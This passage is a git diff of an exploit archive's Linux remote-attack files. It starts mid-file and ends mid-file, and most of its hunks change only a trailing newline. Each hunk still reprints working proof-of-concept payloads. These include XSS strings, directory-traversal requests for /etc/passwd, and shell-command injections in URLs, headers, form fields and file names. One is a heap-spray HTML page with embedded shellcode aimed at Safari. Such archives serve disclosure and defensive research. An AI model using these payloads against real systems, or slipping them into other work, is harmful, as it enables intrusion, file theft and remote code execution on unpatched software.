attacker may leverage these issues to execute arbitrary script code in the br XAMPP 1.6.7 for Linux is vulnerable; other versions may also be affected. -http://www.example.com/xampp/ming.php?text=">><<>>"''<script>alert(document.alert)</script> \ No newline at end of file +http://www.example.com/xampp/ming.php?text=">><<>>"''<script>alert(document.alert)</script> \ No newline at end of file diff --git a/platforms/linux/remote/32286.txt b/platforms/linux/remote/32286.txt index 333900817..eb76554a6 100755 --- a/platforms/linux/remote/32286.txt +++ b/platforms/linux/remote/32286.txt @@ -10,4 +10,4 @@ Web-Based Admin View 2.1.2 is vulnerable; other versions may also be affected. The following example is available: GET /.././.././.././.././.././.././.././.././.././etc/passwd HTTP/1.0 -Host: www.example.com:8081 \ No newline at end of file +Host: www.example.com:8081 \ No newline at end of file diff --git a/platforms/linux/remote/32289.txt b/platforms/linux/remote/32289.txt index ca7b8a7c2..a087145a4 100755 --- a/platforms/linux/remote/32289.txt +++ b/platforms/linux/remote/32289.txt @@ -20,4 +20,4 @@ Place your cursor on ``date'' and press K. File ``pwned'' is created in the current working directory. Please note: If modeline processing is disabled, set the 'iskeyword' -option manually. \ No newline at end of file +option manually. \ No newline at end of file diff --git a/platforms/linux/remote/32303.txt b/platforms/linux/remote/32303.txt index a810b8d78..870f7c589 100755 --- a/platforms/linux/remote/32303.txt +++ b/platforms/linux/remote/32303.txt @@ -6,4 +6,4 @@ By inserting arbitrary headers into an HTTP response, attackers may be able to l This issue affects Mono 2.0 and earlier. -<script runat="server"> void Page_Load(object o, EventArgs e) { // Query parameter text is not checked before saving in user cookie NameValueCollection request = Request.QueryString; // Adding cookies to the response Response.Cookies["userName"].Value = request["text"]; } </script> \ No newline at end of file +<script runat="server"> void Page_Load(object o, EventArgs e) { // Query parameter text is not checked before saving in user cookie NameValueCollection request = Request.QueryString; // Adding cookies to the response Response.Cookies["userName"].Value = request["text"]; } </script> \ No newline at end of file diff --git a/platforms/linux/remote/32690.txt b/platforms/linux/remote/32690.txt index 446a96f1d..852b0ac52 100755 --- a/platforms/linux/remote/32690.txt +++ b/platforms/linux/remote/32690.txt @@ -9,4 +9,4 @@ The issue affects xterm with patch 237; other versions may also be affected. The following example is available: perl -e 'print "\eP\$q\nwhoami\n\e\\"' > bla.log -cat bla.log \ No newline at end of file +cat bla.log \ No newline at end of file diff --git a/platforms/linux/remote/32796.txt b/platforms/linux/remote/32796.txt index a92452150..2f9cce9fa 100755 --- a/platforms/linux/remote/32796.txt +++ b/platforms/linux/remote/32796.txt @@ -4,4 +4,4 @@ Swann DVR4 SecuraNet is prone to a directory-traversal vulnerability because it Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks. -http://www.example.com/../../var/run/vy_netman.cfg \ No newline at end of file +http://www.example.com/../../var/run/vy_netman.cfg \ No newline at end of file diff --git a/platforms/linux/remote/32834.txt b/platforms/linux/remote/32834.txt index f772d6702..7a3ae5e8d 100755 --- a/platforms/linux/remote/32834.txt +++ b/platforms/linux/remote/32834.txt @@ -7,4 +7,4 @@ Remote attackers can exploit this issue to bypass certain security restrictions This issue affects cURL/libcURL 5.11 through 7.19.3. Other versions may also be vulnerable. The following example redirection request may be used to carry out this attack: -Location: scp://name:passwd@host/a'``;date >/tmp/test``;' \ No newline at end of file +Location: scp://name:passwd@host/a'``;date >/tmp/test``;' \ No newline at end of file diff --git a/platforms/linux/remote/32837.py b/platforms/linux/remote/32837.py index 0120c828f..8e4461a88 100755 --- a/platforms/linux/remote/32837.py +++ b/platforms/linux/remote/32837.py @@ -10,4 +10,4 @@ Versions prior to Wesnoth 1.5.11 are affected. import threading os = threading._sys.modules['os'] f = os.popen("firefox 'http://www.example.com'") -f.close() \ No newline at end of file +f.close() \ No newline at end of file diff --git a/platforms/linux/remote/32929.txt b/platforms/linux/remote/32929.txt index d427c2e75..34dfc2bfa 100755 --- a/platforms/linux/remote/32929.txt +++ b/platforms/linux/remote/32929.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Stronghold 2.3 is vulnerable; other versions may also be affected. -http://www.example.com/<script>alert("lol");</script> http://www.example.com/<script>window.location="http://www.google.com"</script> http://www.example.com/<body bgcolor="black"><font color="green"> \ No newline at end of file +http://www.example.com/<script>alert("lol");</script> http://www.example.com/<script>window.location="http://www.google.com"</script> http://www.example.com/<body bgcolor="black"><font color="green"> \ No newline at end of file diff --git a/platforms/linux/remote/32965.c b/platforms/linux/remote/32965.c index 224b1329f..41b8f3c73 100755 --- a/platforms/linux/remote/32965.c +++ b/platforms/linux/remote/32965.c @@ -70,3 +70,4 @@ main (void) return 0; } + \ No newline at end of file diff --git a/platforms/linux/remote/33039.txt b/platforms/linux/remote/33039.txt index eb180dce4..4734a256a 100755 --- a/platforms/linux/remote/33039.txt +++ b/platforms/linux/remote/33039.txt @@ -16,4 +16,4 @@ The following example URI is available: https://www.example.xn--com-edoaaaaaaaaaaaaaaaaaaaaaaaaaaaa.example2.org/ -This URI would be decoded as 'www.example.com' followed by multiple 'U+115a' characters and '.example2.org'. \ No newline at end of file +This URI would be decoded as 'www.example.com' followed by multiple 'U+115a' characters and '.example2.org'. \ No newline at end of file diff --git a/platforms/linux/remote/33053.txt b/platforms/linux/remote/33053.txt index 880e9227b..064fa4b57 100755 --- a/platforms/linux/remote/33053.txt +++ b/platforms/linux/remote/33053.txt @@ -8,4 +8,4 @@ Samba 3.0.31 through 3.3.5 are affected. The following proof of concept is available: -smb: \> put aa%3Fbb \ No newline at end of file +smb: \> put aa%3Fbb \ No newline at end of file diff --git a/platforms/linux/remote/33103.html b/platforms/linux/remote/33103.html index 1c40b0ea5..a0d4107aa 100755 --- a/platforms/linux/remote/33103.html +++ b/platforms/linux/remote/33103.html @@ -6,4 +6,4 @@ An attacker may leverage this issue by inserting arbitrary content to spoof a UR This issue affects Firefox versions prior to 3.5.2 and 3.0.13. -</script> <center> <h1>Firefox spoofing</h1> </center> <p> <a href="javascript:spoof()">test!</a> <p> <script> function spoof() { a = window.open("http://www.example.com%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20,") a.document.write("<H1>FAKE PAGE<\h1>") a.document.write("<title>test</title>") a.stop (); } </script> <br> Juan Pablo Lopez Yacubian \ No newline at end of file +</script> <center> <h1>Firefox spoofing</h1> </center> <p> <a href="javascript:spoof()">test!</a> <p> <script> function spoof() { a = window.open("http://www.example.com%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20,") a.document.write("<H1>FAKE PAGE<\h1>") a.document.write("<title>test</title>") a.stop (); } </script> <br> Juan Pablo Lopez Yacubian \ No newline at end of file diff --git a/platforms/linux/remote/33364.txt b/platforms/linux/remote/33364.txt index eb56ca99b..f5dcb3de5 100755 --- a/platforms/linux/remote/33364.txt +++ b/platforms/linux/remote/33364.txt @@ -10,4 +10,4 @@ This issue affects KDE KDELibs 4.3.3; other versions may also be affected. <script> var a=0.<?php echo str_repeat("1",296450); ?>; -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/linux/remote/33535.txt b/platforms/linux/remote/33535.txt index da0108738..c6cc842d5 100755 --- a/platforms/linux/remote/33535.txt +++ b/platforms/linux/remote/33535.txt @@ -12,4 +12,4 @@ The following example commands are available: stap-client \; ... stap-client -; ... stap-client -D 'asdf ; ls /etc' ... -stap-client -e 'script' -D 'asdf ; \; ' \ No newline at end of file +stap-client -e 'script' -D 'asdf ; \; ' \ No newline at end of file diff --git a/platforms/linux/remote/33622.txt b/platforms/linux/remote/33622.txt index 3d8485009..2fdf8db16 100755 --- a/platforms/linux/remote/33622.txt +++ b/platforms/linux/remote/33622.txt @@ -9,4 +9,4 @@ Accellion File Transfer Appliance is prone to multiple remote vulnerabilities, i An attacker may leverage these issues to execute arbitrary script code within the context of the webserver, steal cookie-based authentication credentials, obtain sensitive information, and execute arbitrary code or commands with superuser privileges. Other attacks are also possible. -https://www.example.com/courier/1000@1276123d688676a09e0100b4f54b239c/web_client_user_guide.html?lang=../../../../../etc/passwd \ No newline at end of file +https://www.example.com/courier/1000@1276123d688676a09e0100b4f54b239c/web_client_user_guide.html?lang=../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/linux/remote/33752.html b/platforms/linux/remote/33752.html index 8a4b2e5aa..052087838 100755 --- a/platforms/linux/remote/33752.html +++ b/platforms/linux/remote/33752.html @@ -6,4 +6,4 @@ Successful exploits may allow the attacker to execute arbitrary code in the cont This issue was previously documented in BID 38671 (Apple Safari Prior to 4.0.5 Multiple Security Vulnerabilities) but has been given its own record to better document it. -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> <HTML lang="en"> <HEAD> <script type="text/javascript">//<![CDATA[ function fuzz_load(){ spray2(); e=document.getElementsByTagName("FORM")[0]; e.previousSibling.dir="rtl"; //e.previousSibling.style="font-size:111px;"; setTimeout('fuzz_timer_0();',1); } function spray2(){ var shellcode ="\uc931\ue983\ud9dd\ud9ee\u2474\u5bf4\u7381\u6f13\ub102\u830e\ufceb\uf4e2\uea93\u0ef5\u026f\u4b3a\u8953\u0bcd\u0317\u855e\u1a20\u513a\u034f\u475a\u36e4\u0f3a\u3381\u9771\u86c3\u7a71\uc368\u037b\uc06e\ufa5a\u5654\u0a95\ue71a\u513a\u034b\u685a\u0ee4\u85fa\u1e30\ue5b0\u1ee4\u0f3a\u8b84\u2aed\uc16b\uce80\u890b\u3ef1\uc2ea\u02c9\u42e4\u85bd\u1e1f\u851c\u0a07\u075a\u82e4\u0e01\u026f\u663a\u5d53\uf880\u540f\uf638\uc2ec\u5eca\u7c07\uec69\u6a1c\uf029\u0ce5\uf1e6\u6188\u62d0\u2c0c\u76d4\u020a\u0eb1" ; var spray = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"); do { spray += spray; } while(spray.length < 0xc0000); memory = new Array(); for(i = 0; i < 50; i++) memory[i] = spray + shellcode; } function calc(){ var s0 ="\uc931\ue983\ud9dd\ud9ee\u2474\u5bf4\u7381\u6f13\ub102\u830e\ufceb\uf4e2\uea93\u0ef5\u026f\u4b3a\u8953\u0bcd\u0317\u855e\u1a20\u513a\u034f\u475a\u36e4\u0f3a\u3381\u9771\u86c3\u7a71\uc368\u037b\uc06e\ufa5a\u5654\u0a95\ue71a\u513a\u034b\u685a\u0ee4\u85fa\u1e30\ue5b0\u1ee4\u0f3a\u8b84\u2aed\uc16b\uce80\u890b\u3ef1\uc2ea\u02c9\u42e4\u85bd\u1e1f\u851c\u0a07\u075a\u82e4\u0e01\u026f\u663a\u5d53\uf880\u540f\uf638\uc2ec\u5eca\u7c07\uec69\u6a1c\uf029\u0ce5\uf1e6\u6188\u62d0\u2c0c\u76d4\u020a\u0eb1" ; var addr1= unescape("%u9090%u9090"); var addr2= "\uc5c6\uc7c9"; var addr3="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051"; var addr4="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051"; var addr5="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051"; var addr6="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051"; } function fuzz_timer_0(){ e=document.getElementsByTagName("NOBR")[0]; e.innerHTML=''; calc(); document.lastChild.normalize(); } //]]> </script> <code>1111 <AREA>13333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 <FORM > <NOBR /><BIG /> </FORM> </AREA> </code> </A> </HEAD> <BODY dir="rtl" onload="fuzz_load();"> </BODY> </HTML> \ No newline at end of file +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> <HTML lang="en"> <HEAD> <script type="text/javascript">//<![CDATA[ function fuzz_load(){ spray2(); e=document.getElementsByTagName("FORM")[0]; e.previousSibling.dir="rtl"; //e.previousSibling.style="font-size:111px;"; setTimeout('fuzz_timer_0();',1); } function spray2(){ var shellcode ="\uc931\ue983\ud9dd\ud9ee\u2474\u5bf4\u7381\u6f13\ub102\u830e\ufceb\uf4e2\uea93\u0ef5\u026f\u4b3a\u8953\u0bcd\u0317\u855e\u1a20\u513a\u034f\u475a\u36e4\u0f3a\u3381\u9771\u86c3\u7a71\uc368\u037b\uc06e\ufa5a\u5654\u0a95\ue71a\u513a\u034b\u685a\u0ee4\u85fa\u1e30\ue5b0\u1ee4\u0f3a\u8b84\u2aed\uc16b\uce80\u890b\u3ef1\uc2ea\u02c9\u42e4\u85bd\u1e1f\u851c\u0a07\u075a\u82e4\u0e01\u026f\u663a\u5d53\uf880\u540f\uf638\uc2ec\u5eca\u7c07\uec69\u6a1c\uf029\u0ce5\uf1e6\u6188\u62d0\u2c0c\u76d4\u020a\u0eb1" ; var spray = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"); do { spray += spray; } while(spray.length < 0xc0000); memory = new Array(); for(i = 0; i < 50; i++) memory[i] = spray + shellcode; } function calc(){ var s0 ="\uc931\ue983\ud9dd\ud9ee\u2474\u5bf4\u7381\u6f13\ub102\u830e\ufceb\uf4e2\uea93\u0ef5\u026f\u4b3a\u8953\u0bcd\u0317\u855e\u1a20\u513a\u034f\u475a\u36e4\u0f3a\u3381\u9771\u86c3\u7a71\uc368\u037b\uc06e\ufa5a\u5654\u0a95\ue71a\u513a\u034b\u685a\u0ee4\u85fa\u1e30\ue5b0\u1ee4\u0f3a\u8b84\u2aed\uc16b\uce80\u890b\u3ef1\uc2ea\u02c9\u42e4\u85bd\u1e1f\u851c\u0a07\u075a\u82e4\u0e01\u026f\u663a\u5d53\uf880\u540f\uf638\uc2ec\u5eca\u7c07\uec69\u6a1c\uf029\u0ce5\uf1e6\u6188\u62d0\u2c0c\u76d4\u020a\u0eb1" ; var addr1= unescape("%u9090%u9090"); var addr2= "\uc5c6\uc7c9"; var addr3="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051"; var addr4="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051"; var addr5="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051"; var addr6="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051"; } function fuzz_timer_0(){ e=document.getElementsByTagName("NOBR")[0]; e.innerHTML=''; calc(); document.lastChild.normalize(); } //]]> </script> <code>1111 <AREA>13333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 <FORM > <NOBR /><BIG /> </FORM> </AREA> </code> </A> </HEAD> <BODY dir="rtl" onload="fuzz_load();"> </BODY> </HTML> \ No newline at end of file diff --git a/platforms/linux/remote/33798.html b/platforms/linux/remote/33798.html index bc5084a2b..1a0d3ec7b 100755 --- a/platforms/linux/remote/33798.html +++ b/platforms/linux/remote/33798.html @@ -10,4 +10,4 @@ Mozilla Firefox 3.6 is vulnerable. NOTE: This issue was previously covered in BID 38918 (Mozilla Firefox Thunderbird and Seamonkey MFSA 2010-09 through -15 Multiple Vulnerabilities) but has been assigned its own record to better document it. -<img src="file:///dev/tty"> \ No newline at end of file +<img src="file:///dev/tty"> \ No newline at end of file diff --git a/platforms/linux/remote/33826.txt b/platforms/linux/remote/33826.txt index af8750e24..302ea8ed2 100755 --- a/platforms/linux/remote/33826.txt +++ b/platforms/linux/remote/33826.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue in conjunction with other latent vulnerabilit Versions prior to TCPDF 4.9.006 are vulnerable. -<tcpdf method="Rect" params=");echo `id`;die(" /> \ No newline at end of file +<tcpdf method="Rect" params=");echo `id`;die(" /> \ No newline at end of file diff --git a/platforms/linux/remote/33855.txt b/platforms/linux/remote/33855.txt index 0039587a8..5b0364381 100755 --- a/platforms/linux/remote/33855.txt +++ b/platforms/linux/remote/33855.txt @@ -10,4 +10,4 @@ The following proof-of-concept command is available: % kinit -R -We currently are unaware of any exploits that result in code-execution. \ No newline at end of file +We currently are unaware of any exploits that result in code-execution. \ No newline at end of file diff --git a/platforms/linux/remote/33949.txt b/platforms/linux/remote/33949.txt index 69ecd0cd4..cb53c381a 100755 --- a/platforms/linux/remote/33949.txt +++ b/platforms/linux/remote/33949.txt @@ -6,4 +6,4 @@ Attackers may leverage this issue to execute arbitrary code in the context of an Versions prior to PCRE 8.02 are vulnerable; applications which use the PCRE library may also be affected. -perl -e 'print "/","("x819, ")"x819, "/"' | pcretest \ No newline at end of file +perl -e 'print "/","("x819, ")"x819, "/"' | pcretest \ No newline at end of file diff --git a/platforms/linux/remote/34152.txt b/platforms/linux/remote/34152.txt index 4cd9746e3..0752fe9c4 100755 --- a/platforms/linux/remote/34152.txt +++ b/platforms/linux/remote/34152.txt @@ -6,4 +6,4 @@ Remote attackers can exploit this issue to obtain sensitive information that may NOTE: This issue was previously covered in BID 40871 (Apple Mac OS X Prior to 10.6.4 Multiple Security Vulnerabilities), but has been given its own record to better document it. -http://www.example.com:631/admin?URL=/admin/&OP=% \ No newline at end of file +http://www.example.com:631/admin?URL=/admin/&OP=% \ No newline at end of file diff --git a/platforms/linux/remote/34201.txt b/platforms/linux/remote/34201.txt index aebb3cb4c..2bff93850 100755 --- a/platforms/linux/remote/34201.txt +++ b/platforms/linux/remote/34201.txt @@ -4,4 +4,4 @@ feh is prone to a remote code-execution vulnerability. Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the computer. -feh --wget-timestamp 'http://www.example.com/stuff/bar`touch lol_hax`.jpg' \ No newline at end of file +feh --wget-timestamp 'http://www.example.com/stuff/bar`touch lol_hax`.jpg' \ No newline at end of file diff --git a/platforms/linux/remote/34385.txt b/platforms/linux/remote/34385.txt index 72afc61f0..3c1aea138 100755 --- a/platforms/linux/remote/34385.txt +++ b/platforms/linux/remote/34385.txt @@ -7,4 +7,4 @@ Exploiting this issue can allow an attacker to execute arbitrary commands within KVIrc 4.0.0 is vulnerable; other versions may also be affected. /ctcp nickname DCC GET\rQUIT\r -/ctcp nickname DCC GET\rPRIVMSG\40#channel\40:epic\40fail\r \ No newline at end of file +/ctcp nickname DCC GET\rPRIVMSG\40#channel\40:epic\40fail\r \ No newline at end of file diff --git a/platforms/linux/remote/34426.txt b/platforms/linux/remote/34426.txt index 080e145b9..fcbd6c064 100755 --- a/platforms/linux/remote/34426.txt +++ b/platforms/linux/remote/34426.txt @@ -6,4 +6,4 @@ To exploit this issue, attackers must entice an unsuspecting user to click on a Exploiting this issue would permit remote attackers to inject and execute commands with the privileges of a user running the application. -<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Test</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <p><a href=""$(cat /etc/passwd |zenity --text-info)"">click me with middle button</a><br />this will open a zenity dialog with your passwd file. I shouldn't be able to do this.</p> </body> </html> \ No newline at end of file +<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Test</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <p><a href=""$(cat /etc/passwd |zenity --text-info)"">click me with middle button</a><br />this will open a zenity dialog with your passwd file. I shouldn't be able to do this.</p> </body> </html> \ No newline at end of file diff --git a/platforms/linux/remote/34879.txt b/platforms/linux/remote/34879.txt index 6abb8021d..bc331fbb6 100755 --- a/platforms/linux/remote/34879.txt +++ b/platforms/linux/remote/34879.txt @@ -103,4 +103,4 @@ uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) #shoutouts to Fredrik Str�mberg for the post he made on ycombinator - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/linux/remote/34932.html b/platforms/linux/remote/34932.html index 6d8d70b6d..015e18310 100755 --- a/platforms/linux/remote/34932.html +++ b/platforms/linux/remote/34932.html @@ -6,4 +6,4 @@ Successful attacks may allow an attacker to execute arbitrary commands on the ap NitroView ESM 8.4.0a is affected; other versions may also be vulnerable. -<html> <pre> [*] Tested on v8.4.0a "NitroSecurity 2.6.22.19-24nssmp64 GNU/Linux" [*] No authentication required [*] "ESSPMDebug=1" in "/usr/local/ess/CPConsoleServer.cfg" required </pre> <form action="https://x.x.x.x/ess"; method="POST"> <input type="text" name="Request" value="A';c='uname:-a';IFS=:;$c>>/tmp/test;'" <input type="hidden" name="debug" value="1"> <input type="submit" value="Oops()"> </form> </html> \ No newline at end of file +<html> <pre> [*] Tested on v8.4.0a "NitroSecurity 2.6.22.19-24nssmp64 GNU/Linux" [*] No authentication required [*] "ESSPMDebug=1" in "/usr/local/ess/CPConsoleServer.cfg" required </pre> <form action="https://x.x.x.x/ess"; method="POST"> <input type="text" name="Request" value="A';c='uname:-a';IFS=:;$c>>/tmp/test;'" <input type="hidden" name="debug" value="1"> <input type="submit" value="Oops()"> </form> </html> \ No newline at end of file diff --git a/platforms/linux/remote/34998.txt b/platforms/linux/remote/34998.txt index afe9065c0..f2734c0ce 100755 --- a/platforms/linux/remote/34998.txt +++ b/platforms/linux/remote/34998.txt @@ -4,4 +4,4 @@ Eclipse IDE Help component is prone to multiple cross-site scripting vulnerabili An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. -http://localhost:[REPLACE]/help/index.jsp?'onload='alert(0) \ No newline at end of file +http://localhost:[REPLACE]/help/index.jsp?'onload='alert(0) \ No newline at end of file diff --git a/platforms/linux/remote/35011.txt b/platforms/linux/remote/35011.txt index d4303edec..e3d3f8812 100755 --- a/platforms/linux/remote/35011.txt +++ b/platforms/linux/remote/35011.txt @@ -4,4 +4,4 @@ Apache Tomcat is prone to multiple cross-site scripting vulnerabilities because An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. -http:/www.example.com/html/sessions?path=/&sort=[xss] \ No newline at end of file +http:/www.example.com/html/sessions?path=/&sort=[xss] \ No newline at end of file diff --git a/platforms/linux/remote/35132.txt b/platforms/linux/remote/35132.txt index a034b2ca7..9a6bf4d27 100755 --- a/platforms/linux/remote/35132.txt +++ b/platforms/linux/remote/35132.txt @@ -5,4 +5,4 @@ Mitel Audio and Web Conferencing (AWC) is prone to a remote command-injection vu Remote attackers can exploit this issue to execute arbitrary shell commands with the privileges of the user running the application. http://www.example.com/awcuser/cgi-bin/vcs?xsl=/vcs/vcs_home.xsl%26cat%20%22/usr/awc/www/users%22%26 -http://www.example.com/awcuser/cgi-bin/vcs?xsl=/vcs/vcs_home.xsl%26ls%20%22/usr/awc/www/cgi-bin/%22%26 \ No newline at end of file +http://www.example.com/awcuser/cgi-bin/vcs?xsl=/vcs/vcs_home.xsl%26ls%20%22/usr/awc/www/cgi-bin/%22%26 \ No newline at end of file diff --git a/platforms/linux/remote/35148.txt b/platforms/linux/remote/35148.txt index 10cce0b1f..d63c83559 100755 --- a/platforms/linux/remote/35148.txt +++ b/platforms/linux/remote/35148.txt @@ -6,4 +6,4 @@ Exploiting this issue will allow an attacker to view arbitrary local files withi IBM Tivoli Access 